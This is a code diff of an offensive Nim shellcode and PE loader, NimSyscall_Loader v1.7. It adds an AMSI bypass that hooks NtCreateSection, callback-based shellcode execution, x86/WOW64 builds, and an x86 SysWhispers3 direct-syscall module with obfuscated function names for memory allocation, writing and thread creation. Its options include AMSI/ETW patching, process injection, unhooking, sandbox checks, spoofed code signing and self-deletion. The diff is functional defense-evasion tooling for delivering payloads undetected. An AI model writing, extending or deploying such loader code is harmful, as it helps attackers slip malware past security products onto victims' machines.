file = MyCreateFileA(ntdllString, cast[DWORD](GENERIC_READ), cast[DWORD](FILE_SHARE_READ), cast[LPSECURITY_ATTRIBUTES](NULL), cast[DWORD](OPEN_EXISTING), cast[DWORD](FILE_ATTRIBUTE_NORMAL), nullHandle)
|
||||
fileSize = MyGetFileSize(file, nil)
|
||||
|
||||
+37
-5
@@ -63,7 +63,7 @@ let helpmenu = """
|
||||
NimSyscall_Loader v 1.7
|
||||
|
||||
Usage:
|
||||
NimSyscall_Loader [--file=file_to_encrypt --key=<key> --output=<output> --large --noRES --shellcodeFile=<shellcodeFile> --shellcodeURL=<shellcodeURL> --dll --dllexportfunc=<exportfuncname> --dllhijack --clone=<dllToClone> --cpl --arguments=<Hardcoded_Arguments> --csharp --noAMSI --noETW --AMSIProviderPatch --sleep=<10> --shellcode --localCreateThread --COMVARETW --remoteinject --customprocess=<processname> --remoteprocess=<processnames> --remotepatchAMSI --remotepatchETW --unhook --reflective --obfuscate --hide --APIhide --noArgs --peinject --peload --hellsgate --syswhispers --jump --sgn --replace --self-delete --sandbox=<check1,check2>, --domain=<targetdomain> --pump=<words,size> --obfuscatefunctions --debug --verbose --noDInvoke --x86 --llvm --sign --signdomain=<exampledomain> --antidebug --sleepycrypt --fluctuate --interactivePS]
|
||||
NimSyscall_Loader [--file=file_to_encrypt --key=<key> --output=<output> --large --noRES --shellcodeFile=<shellcodeFile> --shellcodeURL=<shellcodeURL> --dll --dllexportfunc=<exportfuncname> --dllhijack --clone=<dllToClone> --cpl --arguments=<Hardcoded_Arguments> --csharp --noAMSI --noETW --AMSIProviderPatch --AMSINtCreateSectionHook --sleep=<10> --shellcode --CallbackExecute --localCreateThread --COMVARETW --remoteinject --customprocess=<processname> --remoteprocess=<processnames> --remotepatchAMSI --remotepatchETW --unhook --reflective --obfuscate --hide --APIhide --noArgs --peinject --peload --hellsgate --syswhispers --jump --sgn --replace --self-delete --sandbox=<check1,check2>, --domain=<targetdomain> --pump=<words,size> --obfuscatefunctions --debug --verbose --noDInvoke --x86 --wow64 --llvm --sign --signdomain=<exampledomain> --antidebug --sleepycrypt --fluctuate --interactivePS]
|
||||
NimSyscall_Loader (-h | --help)
|
||||
NimSyscall_Loader --version
|
||||
|
||||
@@ -85,7 +85,8 @@ Options:
|
||||
--APIhide Console won't pop up, hidden via API calls 'GetConsoleWindow' and 'ShowWindow' with 'SW_HIDE'
|
||||
--reflective Set compiler flags, so that the Loader Nim binary can be reflectively loaded
|
||||
--debug Compiles the binary in debug mode
|
||||
--x86 (Compiles an x86 binary - have to cast some more function values before this works smoothly)
|
||||
--x86 Compiles an x86 binary
|
||||
--wow64 (Compiles a x86 binary that can be by x64 CPUs)
|
||||
--large use this for large payloads (bigger than 5MB) as you will get an error "interpretation requires too many iterations" without it
|
||||
--noDInvoke Don't use DInvoke - some older Windows OS Versions may crash when DInvoke is in use, e.g. Windows Server 2012. If you get "SIGSEGV: iilegal storage access. (Attempt to read from nil?)" try to use this option.
|
||||
--verbose Prints output to the console (for troubleshooting purposes)
|
||||
@@ -113,6 +114,7 @@ Options:
|
||||
--sgn Encode shellcode via SGN before encrypting it´
|
||||
--replace Replace common nim IoC's in the loader like the string 'nim'
|
||||
--AMSIProviderPatch Patch all AMSI Providers instead of 'amsi.dll' (https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf)
|
||||
--AMSINtCreateSectionHook Hook NtCreateSection to prevent 'amsi.dll' from being loaded (https://waawaa.github.io/es/amsi_bypass-hooking-NtCreateSection/) -> Prevent Loading works, but C# Loading fails for some reason
|
||||
--sandbox value Include Sandbox Checks of your choice into the loader:
|
||||
Domain -> Only execute if the target domain is == the --domain parameter's domain / If --domain is not set, it will only execute on non-domain joined systems
|
||||
DomainJoined -> Only execute if the target is connected to ANY domain - you don't need to know the target's domain for this one
|
||||
@@ -143,6 +145,7 @@ Options:
|
||||
[shellcode specific]
|
||||
|
||||
--shellcode Encrypt shellcode to load it on runtime
|
||||
--CallbackExecute Execute shellcode via a custom Callback function
|
||||
--localCreateThread Use NtCreateThreadEx for local injection instead of a direct pointer to the shellcode
|
||||
--remoteinject Inject shellcode a newly spawned process (default notepad) / otherwise it's self injection
|
||||
--customprocess procname Spawn a custom process (instead of notepad) for remote injection
|
||||
@@ -205,9 +208,11 @@ var
|
||||
embeddedArguments : bool = false
|
||||
AMSI: bool = true
|
||||
AMSIProviderPatch: bool = false
|
||||
AMSICreateSectionHook: bool = false
|
||||
ETW: bool = true
|
||||
COMVARETW: bool = false
|
||||
shellcode: bool = true
|
||||
callbackexecute: bool = false
|
||||
localCreateThread: bool = false
|
||||
localinject: bool = true
|
||||
unhook: bool = false
|
||||
@@ -239,6 +244,7 @@ var
|
||||
sign: bool = false
|
||||
signdomain: string = "www.microsoft.com"
|
||||
compileX86: bool = false
|
||||
wow64: bool = false
|
||||
noassembly: bool = false
|
||||
sleepycrypt: bool = false
|
||||
fluctuate: bool = false
|
||||
@@ -267,6 +273,9 @@ if args["--shellcode"]:
|
||||
csharp = false
|
||||
peload = false
|
||||
|
||||
if args["--CallbackExecute"]:
|
||||
callbackexecute = true
|
||||
|
||||
if args["--localCreateThread"]:
|
||||
localCreateThread = true
|
||||
|
||||
@@ -359,6 +368,10 @@ if args["--AMSIProviderPatch"]:
|
||||
AMSIProviderPatch = true
|
||||
AMSI = false
|
||||
|
||||
if args["--AMSINtCreateSectionHook"]:
|
||||
AMSICreateSectionHook = true
|
||||
AMSI = false
|
||||
|
||||
if args["--noETW"]:
|
||||
ETW = false
|
||||
|
||||
@@ -473,6 +486,12 @@ if args["--antidebug"]:
|
||||
|
||||
if args["--x86"]:
|
||||
compileX86 = true
|
||||
noDInvoke = true # many bugs for x86 + DInvoke, investigation will take time.
|
||||
|
||||
if args["--wow64"]:
|
||||
wow64 = true
|
||||
compileX86 = true
|
||||
noDInvoke = true # many bugs for x86 + DInvoke, investigation will take time.
|
||||
|
||||
if args["--verbose"]:
|
||||
verbose = true
|
||||
@@ -1253,9 +1272,15 @@ if (getfreshstub):
|
||||
|
||||
if (syswhispers):
|
||||
if(jump):
|
||||
stub.add(WhispersJumpStub)
|
||||
if (not compileX86):
|
||||
stub.add(WhispersJumpStub)
|
||||
else:
|
||||
stub.add(WhispersJumpStubX86)
|
||||
else:
|
||||
stub.add(WhispersStub)
|
||||
if (not compileX86):
|
||||
stub.add(WhispersStub)
|
||||
else:
|
||||
stub.add(WhispersStubX86)
|
||||
|
||||
stub.add(getRandStub())
|
||||
|
||||
@@ -1318,6 +1343,8 @@ if (localinject):
|
||||
stub.add(AMSIStub)
|
||||
elif(AmsiProviderPatch):
|
||||
stub.add(AMSIProviderPatchStub)
|
||||
elif(AMSICreateSectionHook):
|
||||
stub.add(AMSINtCreateSectionHookStub)
|
||||
if (ETW):
|
||||
if (COMVARETW):
|
||||
stub.add(ETWCOMVARStub)
|
||||
@@ -1563,6 +1590,8 @@ elif system.hostOS == "linux":
|
||||
if(denim):
|
||||
basicCompileFlags.add("-d:denim ")
|
||||
|
||||
if(callbackexecute):
|
||||
basicCompileFlags.add("-d:Callback ")
|
||||
|
||||
if(hellsgate):
|
||||
basicCompileFlags.add("-d:Hellsgate ")
|
||||
@@ -1583,7 +1612,7 @@ if embeddedArguments:
|
||||
if (big):
|
||||
basicCompileFlags.add("--maxLoopIterationsVM:1000000000 ")
|
||||
|
||||
if (noRES):
|
||||
if (noRES and (not compileX86)): # compiled .o files only work for x64, didnt compile for x86 so far
|
||||
if (dll_out or cpl):
|
||||
when system.hostOS == "windows":
|
||||
basicCompileFlags.add(fmt"--passL:{packerPath}\\resource\\dll.o ")
|
||||
@@ -1601,6 +1630,9 @@ if(fluctuate):
|
||||
if (compileX86):
|
||||
basicCompileFlags.add("--cpu:i386 ")
|
||||
|
||||
if (wow64):
|
||||
basicCompileFlags.add("-d:wow64 ")
|
||||
|
||||
if not noDInvoke:
|
||||
basicCompileFlags.add("-d:DInvoke ")
|
||||
|
||||
|
||||
+12
-6
@@ -156,7 +156,10 @@ proc fixIAT*(modulePtr: PVOID): bool =
|
||||
var libaddr: size_t = cast[size_t](MyGetProcAddress(MyLoadLibraryA(libname),cast[LPSTR]((orginThunk.u1.Ordinal and 0xFFFF))))
|
||||
else:
|
||||
var libaddr: size_t = cast[size_t](GetProcAddress(LoadLibraryA(libname),cast[LPSTR]((orginThunk.u1.Ordinal and 0xFFFF))))
|
||||
fieldThunk.u1.Function = ULONGLONG(libaddr)
|
||||
when defined amd64:
|
||||
fieldThunk.u1.Function = ULONGLONG(libaddr)
|
||||
else:
|
||||
fieldThunk.u1.Function = DWORD(libaddr)
|
||||
if fieldThunk.u1.Function == 0:
|
||||
break
|
||||
if fieldThunk.u1.Function == orginThunk.u1.Function:
|
||||
@@ -175,9 +178,10 @@ proc fixIAT*(modulePtr: PVOID): bool =
|
||||
var hmodule: HMODULE = LoadLibraryA(libname)
|
||||
var libaddr: csize_t = cast[csize_t](GetProcAddress(hmodule,func_name))
|
||||
|
||||
|
||||
fieldThunk.u1.Function = ULONGLONG(libaddr)
|
||||
|
||||
when defined amd64:
|
||||
fieldThunk.u1.Function = ULONGLONG(libaddr)
|
||||
else:
|
||||
fieldThunk.u1.Function = DWORD(libaddr)
|
||||
when defined(args):
|
||||
# patch common Win32 functions to get the command line
|
||||
if exeArgsPassed and "GetCommandLineW" == $$func_name:
|
||||
@@ -253,8 +257,10 @@ proc pwndem(): void =
|
||||
when defined(verbose):
|
||||
echo obf("[-] Allocate Image Base At Failure.\n")
|
||||
quit()
|
||||
|
||||
ntHeader.OptionalHeader.ImageBase = cast[ULONGLONG](preferAddr)
|
||||
when defined amd64:
|
||||
ntHeader.OptionalHeader.ImageBase = cast[ULONGLONG](preferAddr)
|
||||
else:
|
||||
ntHeader.OptionalHeader.ImageBase = cast[DWORD](preferAddr)
|
||||
var bytesWritten: SIZE_T
|
||||
when defined(HellsGate):
|
||||
if getSyscall(ntWriteTable):
|
||||
|
||||
@@ -12,3 +12,17 @@ let WhispersJumpStub * = """
|
||||
import whispers/syscallsjump
|
||||
|
||||
"""
|
||||
|
||||
let WhispersStubx86 * = """
|
||||
|
||||
|
||||
import whispers/syscallsx86
|
||||
|
||||
"""
|
||||
|
||||
let WhispersJumpStubx86 * = """
|
||||
|
||||
|
||||
import whispers/syscallsjumpx86
|
||||
|
||||
"""
|
||||
@@ -614,7 +614,7 @@ proc opqiwepoausdasdjl*(ProcessHandle: PHANDLE, DesiredAccess: ACCESS_MASK, Obje
|
||||
nop
|
||||
ret
|
||||
"""
|
||||
#zuatzuastdiasyyose
|
||||
# NtClose
|
||||
proc zuatzuastdiasyy*(ProcessHandle: HANDLE): NTSTATUS {.asmNoStackFrame.} =
|
||||
asm """
|
||||
mov [rsp +8], rcx
|
||||
|
||||
@@ -514,7 +514,7 @@ proc zuq8aztsdztausdgbh*(ThreadHandle: PHANDLE, DesiredAccess: ACCESS_MASK, Obje
|
||||
mov r10, rcx
|
||||
jmp r15
|
||||
"""
|
||||
#zuatzuastdiasyyose
|
||||
# NtClose
|
||||
proc zuatzuastdiasyy*(Handle: HANDLE): NTSTATUS {.asmNoStackFrame.} =
|
||||
asm """
|
||||
mov [rsp +8], rcx
|
||||
@@ -614,7 +614,7 @@ proc oqiahsjynmxkla*(ProcessHandle: HANDLE, BaseAddress: PVOID, ZeroBits: ULONG,
|
||||
mov r10, rcx
|
||||
jmp r15
|
||||
"""
|
||||
#opqiwepoausdasdjlenProcess
|
||||
# NtOpenProcess
|
||||
proc opqiwepoausdasdjl*(ProcessHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ClientId: PCLIENT_ID): NTSTATUS {.asmNoStackFrame.} =
|
||||
asm """
|
||||
mov [rsp +8], rcx
|
||||
|
||||
@@ -0,0 +1,533 @@
|
||||
{.passC:"-masm=intel".}
|
||||
|
||||
import winim/lean
|
||||
|
||||
{.emit: """
|
||||
#pragma once
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
#ifndef SW3_HEADER_H_
|
||||
#define SW3_HEADER_H_
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
#define SW3_SEED 0x3C3804A6
|
||||
#define SW3_ROL8(v) (v << 8 | v >> 24)
|
||||
#define SW3_ROR8(v) (v >> 8 | v << 24)
|
||||
#define SW3_ROX8(v) ((SW3_SEED % 2) ? SW3_ROL8(v) : SW3_ROR8(v))
|
||||
#define SW3_MAX_ENTRIES 500
|
||||
#define SW3_RVA2VA(Type, DllBase, Rva) (Type)((ULONG_PTR) DllBase + Rva)
|
||||
|
||||
// Typedefs are prefixed to avoid pollution.
|
||||
|
||||
typedef struct _SW3_SYSCALL_ENTRY
|
||||
{
|
||||
DWORD Hash;
|
||||
DWORD Address;
|
||||
PVOID SyscallAddress;
|
||||
} SW3_SYSCALL_ENTRY, *PSW3_SYSCALL_ENTRY;
|
||||
|
||||
typedef struct _SW3_SYSCALL_LIST
|
||||
{
|
||||
DWORD Count;
|
||||
SW3_SYSCALL_ENTRY Entries[SW3_MAX_ENTRIES];
|
||||
} SW3_SYSCALL_LIST, *PSW3_SYSCALL_LIST;
|
||||
|
||||
typedef struct _SW3_PEB_LDR_DATA {
|
||||
BYTE Reserved1[8];
|
||||
PVOID Reserved2[3];
|
||||
LIST_ENTRY InMemoryOrderModuleList;
|
||||
} SW3_PEB_LDR_DATA, *PSW3_PEB_LDR_DATA;
|
||||
|
||||
typedef struct _SW3_LDR_DATA_TABLE_ENTRY {
|
||||
PVOID Reserved1[2];
|
||||
LIST_ENTRY InMemoryOrderLinks;
|
||||
PVOID Reserved2[2];
|
||||
PVOID DllBase;
|
||||
} SW3_LDR_DATA_TABLE_ENTRY, *PSW3_LDR_DATA_TABLE_ENTRY;
|
||||
|
||||
typedef struct _SW3_PEB {
|
||||
BYTE Reserved1[2];
|
||||
BYTE BeingDebugged;
|
||||
BYTE Reserved2[1];
|
||||
PVOID Reserved3[2];
|
||||
PSW3_PEB_LDR_DATA Ldr;
|
||||
} SW3_PEB, *PSW3_PEB;
|
||||
|
||||
DWORD SW3_HashSyscall(PCSTR FunctionName);
|
||||
BOOL SW3_PopulateSyscallList();
|
||||
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash);
|
||||
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash);
|
||||
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID);
|
||||
#endif
|
||||
#define JUMPER
|
||||
|
||||
#include <stdio.h>
|
||||
|
||||
//#define DEBUG
|
||||
|
||||
// JUMPER
|
||||
|
||||
#ifdef _M_IX86
|
||||
|
||||
EXTERN_C PVOID internal_cleancall_wow64_gate(VOID) {
|
||||
return (PVOID)__readfsdword(0xC0);
|
||||
}
|
||||
|
||||
// LOCAL_IS_WOW64
|
||||
|
||||
#endif
|
||||
|
||||
// Code below is adapted from @modexpblog. Read linked article for more details.
|
||||
// https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams
|
||||
|
||||
SW3_SYSCALL_LIST SW3_SyscallList = {0,1};
|
||||
|
||||
// SEARCH_AND_REPLACE
|
||||
#ifdef SEARCH_AND_REPLACE
|
||||
// THIS IS NOT DEFINED HERE; don't know if I'll add it in a future release
|
||||
EXTERN void SearchAndReplace(unsigned char[], unsigned char[]);
|
||||
#endif
|
||||
|
||||
DWORD SW3_HashSyscall(PCSTR FunctionName)
|
||||
{
|
||||
DWORD i = 0;
|
||||
DWORD Hash = SW3_SEED;
|
||||
|
||||
while (FunctionName[i])
|
||||
{
|
||||
WORD PartialName = *(WORD*)((ULONG_PTR)FunctionName + i++);
|
||||
Hash ^= PartialName + SW3_ROR8(Hash);
|
||||
}
|
||||
|
||||
return Hash;
|
||||
}
|
||||
|
||||
#ifndef JUMPER
|
||||
PVOID SC_Address(PVOID NtApiAddress)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
#else
|
||||
PVOID SC_Address(PVOID NtApiAddress)
|
||||
{
|
||||
DWORD searchLimit = 512;
|
||||
PVOID SyscallAddress;
|
||||
|
||||
#ifdef _WIN64
|
||||
// If the process is 64-bit on a 64-bit OS, we need to search for syscall
|
||||
BYTE syscall_code[] = { 0x0f, 0x05, 0xc3 };
|
||||
ULONG distance_to_syscall = 0x12;
|
||||
#else
|
||||
// If the process is 32-bit on a 32-bit OS, we need to search for sysenter
|
||||
BYTE syscall_code[] = { 0x0f, 0x34, 0xc3 };
|
||||
ULONG distance_to_syscall = 0x0f;
|
||||
#endif
|
||||
|
||||
#ifdef _M_IX86
|
||||
// If the process is 32-bit on a 64-bit OS, we need to jump to WOW32Reserved
|
||||
if (local_is_wow64())
|
||||
{
|
||||
#ifdef DEBUG
|
||||
printf("[+] Running 32-bit app on x64 (WOW64)\n");
|
||||
#endif
|
||||
// JUMP_TO_WOW32Reserved
|
||||
}
|
||||
#endif
|
||||
|
||||
// we don't really care if there is a 'jmp' between
|
||||
// NtApiAddress and the 'syscall; ret' instructions
|
||||
SyscallAddress = SW3_RVA2VA(PVOID, NtApiAddress, distance_to_syscall);
|
||||
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
// we can use the original code for this system call :)
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
|
||||
// the 'syscall; ret' intructions have not been found,
|
||||
// we will try to use one near it, similarly to HalosGate
|
||||
|
||||
for (ULONG32 num_jumps = 1; num_jumps < searchLimit; num_jumps++)
|
||||
{
|
||||
// let's try with an Nt* API below our syscall
|
||||
SyscallAddress = SW3_RVA2VA(
|
||||
PVOID,
|
||||
NtApiAddress,
|
||||
distance_to_syscall + num_jumps * 0x20);
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
|
||||
// let's try with an Nt* API above our syscall
|
||||
SyscallAddress = SW3_RVA2VA(
|
||||
PVOID,
|
||||
NtApiAddress,
|
||||
distance_to_syscall - num_jumps * 0x20);
|
||||
if (!memcmp((PVOID)syscall_code, SyscallAddress, sizeof(syscall_code)))
|
||||
{
|
||||
#if defined(DEBUG)
|
||||
printf("Found Syscall Opcodes at address 0x%p\n", SyscallAddress);
|
||||
#endif
|
||||
return SyscallAddress;
|
||||
}
|
||||
}
|
||||
|
||||
#ifdef DEBUG
|
||||
printf("Syscall Opcodes not found!\n");
|
||||
#endif
|
||||
|
||||
return NULL;
|
||||
}
|
||||
#endif
|
||||
|
||||
|
||||
BOOL SW3_PopulateSyscallList()
|
||||
{
|
||||
// Return early if the list is already populated.
|
||||
if (SW3_SyscallList.Count) return TRUE;
|
||||
|
||||
#ifdef _WIN64
|
||||
PSW3_PEB Peb = (PSW3_PEB)__readgsqword(0x60);
|
||||
#else
|
||||
PSW3_PEB Peb = (PSW3_PEB)__readfsdword(0x30);
|
||||
#endif
|
||||
PSW3_PEB_LDR_DATA Ldr = Peb->Ldr;
|
||||
PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL;
|
||||
PVOID DllBase = NULL;
|
||||
|
||||
// Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second
|
||||
// in the list, so it's safer to loop through the full list and find it.
|
||||
PSW3_LDR_DATA_TABLE_ENTRY LdrEntry;
|
||||
for (LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW3_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0])
|
||||
{
|
||||
DllBase = LdrEntry->DllBase;
|
||||
PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase;
|
||||
PIMAGE_NT_HEADERS NtHeaders = SW3_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew);
|
||||
PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory;
|
||||
DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
|
||||
if (VirtualAddress == 0) continue;
|
||||
|
||||
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW3_RVA2VA(ULONG_PTR, DllBase, VirtualAddress);
|
||||
|
||||
// If this is NTDLL.dll, exit loop.
|
||||
PCHAR DllName = SW3_RVA2VA(PCHAR, DllBase, ExportDirectory->Name);
|
||||
|
||||
if ((*(ULONG*)DllName | 0x20202020) != 0x6c64746e) continue;
|
||||
if ((*(ULONG*)(DllName + 4) | 0x20202020) == 0x6c642e6c) break;
|
||||
}
|
||||
|
||||
if (!ExportDirectory) return FALSE;
|
||||
|
||||
DWORD NumberOfNames = ExportDirectory->NumberOfNames;
|
||||
PDWORD Functions = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions);
|
||||
PDWORD Names = SW3_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames);
|
||||
PWORD Ordinals = SW3_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals);
|
||||
|
||||
// Populate SW3_SyscallList with unsorted Zw* entries.
|
||||
DWORD i = 0;
|
||||
PSW3_SYSCALL_ENTRY Entries = SW3_SyscallList.Entries;
|
||||
do
|
||||
{
|
||||
PCHAR FunctionName = SW3_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]);
|
||||
|
||||
// Is this a system call?
|
||||
if (*(USHORT*)FunctionName == 0x775a)
|
||||
{
|
||||
Entries[i].Hash = SW3_HashSyscall(FunctionName);
|
||||
Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]];
|
||||
Entries[i].SyscallAddress = SC_Address(SW3_RVA2VA(PVOID, DllBase, Entries[i].Address));
|
||||
|
||||
i++;
|
||||
if (i == SW3_MAX_ENTRIES) break;
|
||||
}
|
||||
} while (--NumberOfNames);
|
||||
|
||||
// Save total number of system calls found.
|
||||
SW3_SyscallList.Count = i;
|
||||
|
||||
// Sort the list by address in ascending order.
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count - 1; i++)
|
||||
{
|
||||
for (DWORD j = 0; j < SW3_SyscallList.Count - i - 1; j++)
|
||||
{
|
||||
if (Entries[j].Address > Entries[j + 1].Address)
|
||||
{
|
||||
// Swap entries.
|
||||
SW3_SYSCALL_ENTRY TempEntry;
|
||||
|
||||
TempEntry.Hash = Entries[j].Hash;
|
||||
TempEntry.Address = Entries[j].Address;
|
||||
TempEntry.SyscallAddress = Entries[j].SyscallAddress;
|
||||
|
||||
Entries[j].Hash = Entries[j + 1].Hash;
|
||||
Entries[j].Address = Entries[j + 1].Address;
|
||||
Entries[j].SyscallAddress = Entries[j + 1].SyscallAddress;
|
||||
|
||||
Entries[j + 1].Hash = TempEntry.Hash;
|
||||
Entries[j + 1].Address = TempEntry.Address;
|
||||
Entries[j + 1].SyscallAddress = TempEntry.SyscallAddress;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
EXTERN_C DWORD SW3_GetSyscallNumber(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return -1;
|
||||
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
|
||||
{
|
||||
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
|
||||
{
|
||||
return i;
|
||||
}
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
EXTERN_C PVOID SW3_GetSyscallAddress(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return NULL;
|
||||
|
||||
for (DWORD i = 0; i < SW3_SyscallList.Count; i++)
|
||||
{
|
||||
if (FunctionHash == SW3_SyscallList.Entries[i].Hash)
|
||||
{
|
||||
return SW3_SyscallList.Entries[i].SyscallAddress;
|
||||
}
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
EXTERN_C PVOID SW3_GetRandomSyscallAddress(DWORD FunctionHash)
|
||||
{
|
||||
// Ensure SW3_SyscallList is populated.
|
||||
if (!SW3_PopulateSyscallList()) return NULL;
|
||||
|
||||
DWORD index = ((DWORD) rand()) % SW3_SyscallList.Count;
|
||||
|
||||
while (FunctionHash == SW3_SyscallList.Entries[index].Hash){
|
||||
// Spoofing the syscall return address
|
||||
index = ((DWORD) rand()) % SW3_SyscallList.Count;
|
||||
}
|
||||
return SW3_SyscallList.Entries[index].SyscallAddress;
|
||||
}
|
||||
|
||||
""".}
|
||||
|
||||
type
|
||||
PS_ATTR_UNION* {.pure, union.} = object
|
||||
Value*: ULONG
|
||||
ValuePtr*: PVOID
|
||||
PS_ATTRIBUTE* {.pure.} = object
|
||||
Attribute*: ULONG
|
||||
Size*: SIZE_T
|
||||
u1*: PS_ATTR_UNION
|
||||
ReturnLength*: PSIZE_T
|
||||
PPS_ATTRIBUTE* = ptr PS_ATTRIBUTE
|
||||
PS_ATTRIBUTE_LIST* {.pure.} = object
|
||||
TotalLength*: SIZE_T
|
||||
Attributes*: array[2, PS_ATTRIBUTE]
|
||||
PPS_ATTRIBUTE_LIST* = ptr PS_ATTRIBUTE_LIST
|
||||
|
||||
|
||||
|
||||
# NtProtectVirtualMemory
|
||||
proc uashdiasdj*(ProcessHandle: HANDLE, BaseAddress: PVOID, RegionSize: PSIZE_T, NewProtect: ULONG, OldProtect: PULONG): NTSTATUS {.asmNoStackFrame.} =
|
||||
asm """
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
push '007973501h'
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov edi, eax
|
||||
push '007973501h'
|
||||
call SW3_GetSyscallNumber
|
||||
lea esp, [esp+4]
|
||||
mov ecx, 0x05
|
||||
push_argument1:
|
||||
dec ecx
|
||||
push [ebp + 8 + ecx * 4]
|
||||
jnz push_argument1
|
||||
mov ecx, eax
|
||||
mov eax, ecx
|
||||
push ret_address_epilog1
|
||||
call do_sysenter_interrupt1
|
||||
lea esp, [esp+4]
|
||||
ret_address_epilog1:
|
||||
mov esp, ebp
|
||||
pop ebp
|
||||
ret
|
||||
do_sysenter_interrupt1:
|
||||
mov edx, esp
|
||||
jmp edi
|
||||
ret
|
||||
"""
|
||||
# NtWriteVirtualMemory
|
||||
proc oqiazasusjk*(ProcessHandle: HANDLE, BaseAddress: PVOID, Buffer: PVOID, NumberOfBytesToWrite: SIZE_T, NumberOfBytesWritten: PSIZE_T): NTSTATUS {.asmNoStackFrame.} =
|
||||
asm """
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
push '0018E0501h'
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov edi, eax
|
||||
push '0018E0501h'
|
||||
call SW3_GetSyscallNumber
|
||||
lea esp, [esp+4]
|
||||
mov ecx, 0x05
|
||||
push_argument2:
|
||||
dec ecx
|
||||
push [ebp + 8 + ecx * 4]
|
||||
jnz push_argument2
|
||||
mov ecx, eax
|
||||
mov eax, ecx
|
||||
push ret_address_epilog2
|
||||
call do_sysenter_interrupt2
|
||||
lea esp, [esp+4]
|
||||
ret_address_epilog2:
|
||||
mov esp, ebp
|
||||
pop ebp
|
||||
ret
|
||||
do_sysenter_interrupt2:
|
||||
mov edx, esp
|
||||
jmp edi
|
||||
ret
|
||||
"""
|
||||
# NtCreateThreadEx
|
||||
proc zuq8aztsdztausdgbh*(ThreadHandle: PHANDLE, DesiredAccess: ACCESS_MASK, ObjectAttributes: POBJECT_ATTRIBUTES, ProcessHandle: HANDLE, StartRoutine: PVOID, Argument: PVOID, CreateFlags: ULONG, ZeroBits: SIZE_T, StackSize: SIZE_T, MaximumStackSize: SIZE_T, AttributeList: PPS_ATTRIBUTE_LIST): NTSTATUS {.asmNoStackFrame.} =
|
||||
asm """
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
push '0C02C9C08h'
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov edi, eax
|
||||
push '0C02C9C08h'
|
||||
call SW3_GetSyscallNumber
|
||||
lea esp, [esp+4]
|
||||
mov ecx, 0x0b
|
||||
push_argument3:
|
||||
dec ecx
|
||||
push [ebp + 8 + ecx * 4]
|
||||
jnz push_argument3
|
||||
mov ecx, eax
|
||||
mov eax, ecx
|
||||
push ret_address_epilog3
|
||||
call do_sysenter_interrupt3
|
||||
lea esp, [esp+4]
|
||||
ret_address_epilog3:
|
||||
mov esp, ebp
|
||||
pop ebp
|
||||
ret
|
||||
do_sysenter_interrupt3:
|
||||
mov edx, esp
|
||||
jmp edi
|
||||
ret
|
||||
"""
|
||||
|
||||
# NtAllocateVirtualMemory
|
||||
proc oqiahsjynmxkla*(ProcessHandle: HANDLE, BaseAddress: PVOID, ZeroBits: ULONG, RegionSize: PSIZE_T, AllocationType: ULONG, Protect: ULONG): NTSTATUS {.asmNoStackFrame.} =
|
||||
asm """
|
||||
push ebp
|
||||
mov ebp, esp
|
||||
push '08F959302h'
|
||||
call SW3_GetRandomSyscallAddress
|
||||
mov edi, eax
|
||||
push '08F959302h'
|
||||
call SW3_GetSyscallNumber
|
||||
lea esp, [esp+4]
|
||||
mov ecx, 0x06
|
||||
